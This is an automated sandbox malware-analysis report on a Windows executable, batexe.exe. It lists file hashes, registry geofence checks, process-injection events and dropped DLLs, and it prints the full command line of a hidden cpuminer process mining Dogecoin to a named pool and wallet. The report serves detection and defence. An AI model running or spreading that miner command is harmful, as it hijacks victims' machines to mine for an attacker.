73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
24/02/2024, 13:07

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1392040655-2056082574-619088944-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1392040655-2056082574-619088944-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
5272	b2e.exe
3756	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3756	cpuminer-sse2.exe
3756	cpuminer-sse2.exe
3756	cpuminer-sse2.exe
3756	cpuminer-sse2.exe
3756	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4308-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4308 wrote to memory of 5272	4308	batexe.exe	90
PID 4308 wrote to memory of 5272	4308	batexe.exe	90
PID 4308 wrote to memory of 5272	4308	batexe.exe	90
PID 5272 wrote to memory of 3232	5272	b2e.exe	91
PID 5272 wrote to memory of 3232	5272	b2e.exe	91
PID 5272 wrote to memory of 3232	5272	b2e.exe	91
PID 3232 wrote to memory of 3756	3232	cmd.exe	94
PID 3232 wrote to memory of 3756	3232	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4308
- C:\Users\Admin\AppData\Local\Temp\4E8D.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\4E8D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\4E8D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5272
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5227.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3232
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\4E8D.tmp\b2e.exe

Filesize
12.6MB

MD5
3bf4c9929231416170a4797dd0724883

SHA1
a24833abbbeab955eb004d186f2458cd410c33b9

SHA256
4e824b444c7cae6db2621307873b6c90bbf4f68a05c67a8056e66bf75065050d

SHA512
2ab31574f79105a8fd72ca912b64254f6b0b80e016906d37fb48bccd05538297dbde55a82f3f2cff589d0e1e58a6b296ce28d8966d1730f9bf2823d1ca63af9a

Download Submit
C:\Users\Admin\AppData\Local\Temp\4E8D.tmp\b2e.exe

Filesize
8.2MB

MD5
16fbcdedc35fb59ea2a973440fccce6e

SHA1
f60605a21084c764260fa844af6762ef538d1e20

SHA256
32c2bf995e1eaea5fdf8ce847410ff78cc4183f839e60a73189a7cf46cff14fc

SHA512
257976374fee9a1947d9ff5fca122f341f93ee0a5a4c5a6f5e607e7ae5a23dab13c20a9664dae79f5f4a91c183568fc838edc10264a149c1227d3fa0db66364d

Download Submit
C:\Users\Admin\AppData\Local\Temp\4E8D.tmp\b2e.exe

Filesize
6.5MB

MD5
2f0c73a011be6d9448e1d7c6fda887d0

SHA1
e33ef9f62eba576f2b43568f2f4c5a250a79bbdf

SHA256
11a04355136f70f64f43cf886e37b890eeccbeb48d045a1ee79e1e231a9263d6

SHA512
20466b8c8be3b114197946aeadd25a62d9dcf6dc88697b18dcc264c6b531b5730a9b63c1cbddfd9b8799b120b8711e5961152f084e47c050ec37ac1f88d530c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\5227.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
18e3a1e64f5d5c3854dc0a273d6e8b88

SHA1
cdf29013cc8194192fe801e72c09f892f3cdac92

SHA256
dafcdf02434b2ad6472247f9236a761fca9baab18561de1f284c8952de6a0f9d

SHA512
6dcebabc2cca71ce3f348b6f15a8ef2ae30ade9f2eac7b84a50040984a89deb704680705bd06e5b706b1320d88aa6c7832650dd6e3cfcf9d940afab1e09af338

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.5MB

MD5
8e8e983d176c843cfb76cb58d8544d46

SHA1
6863178458f2cc862436fc14481acb8cc67e3e21

SHA256
c5ebd5e6714acb12b663ae4c77bddcd5c177a081a3666392781c99b1418fbf72

SHA512
2424acff9a0ff08d67422a95997f5ca99f27b5d4cb763d64adfd10c3f5c4ba427953c53a2bce1d229469c06e8903a9fbe397522a5fe7dcad0d1fdd6094db4594

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
355KB

MD5
a0f20e7c064b02270251124c41ee3fbd

SHA1
d81185081dd52f546ad61e50a34a12bbc880d1cf

SHA256
d0d94f2d7a7d77d331af99a53d95d272864c984f9231b7328167bb382c425b73

SHA512
13209d95227aaf30a45abaa5775a08c397dc1781bdbd410816f33f3ca6fcdc7c509e6e2a598ee43a5f3f3c8d1006bd04db231451658d7646be6a536a348c383f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
362KB

MD5
14d9e85c32acce907a0acaa90f30b6c7

SHA1
8bc508ef69c9d639337c611ce98fe52d96c8a6a8

SHA256
9dfb53030ff017d64fad1609d6d2744a22af62097150764b07626298accc36a7

SHA512
7b3165268bb422814fabea52ccff33b31aa1b3632092559bc8816a468a6229f79b4a65d9fd93b3116d8d57de81b4f746ce72b90f4ffa2489766c3fb53c05b6d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
799d3c24a4a181fef5c81ff448d54ca8

SHA1
4d78bf61e271fee37f496e5b27d98b4003d6f7f1

SHA256
49087555ba33ec28799185c3af8f2fe87c0519ce6b74fbfcd6fee01360cf6d73

SHA512
422485b12dcd6d9cab0fb589f013f98c5b144de14b6e07af756cb0d6970be8b090e44dd143cf0a3d09e50d4f06d9c68a39a1f3c5241b624446fe1e2ee181cae5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1024KB

MD5
61f1013547dc4ad24f8c5338c41931c3

SHA1
4a9f72fe7e71046ecd3d5af6443f195a6051430b

SHA256
2a65749eaa95c5c90be12d11587a82432933aabd60e8854868bc7168a36150ee

SHA512
6604219c7e5d583e8cc6a1f407e9964ab39791026857d17c9de25d3a4a8bb0272d491c6c019643eeeee8a2bd3451f3e0b75298e043777d44b8f3a161582c9b40

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
431KB

MD5
4ae6d6840519d9da13c44db653c9deef

SHA1
c3260447b86ac90038800ed16d8e8d1dfa7f3b63

SHA256
018a3b4aa0cbd6ca987a2212e7cdb624554df8a11cd1e76d4604149404a79b04

SHA512
fbc6080760b89afd0d9a7e271ef2166c1fc0f9876b599b7413b7bc7d49b579aa8cc57c9f14a9942e6766b5a386165a3d1641bc9d12763562728ef8d0e3fc3c08

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3756-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-45-0x0000000067B10000-0x0000000067BA8000-memory.dmp

Filesize
608KB

Download
memory/3756-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3756-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3756-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3756-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4308-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5272-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5272-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download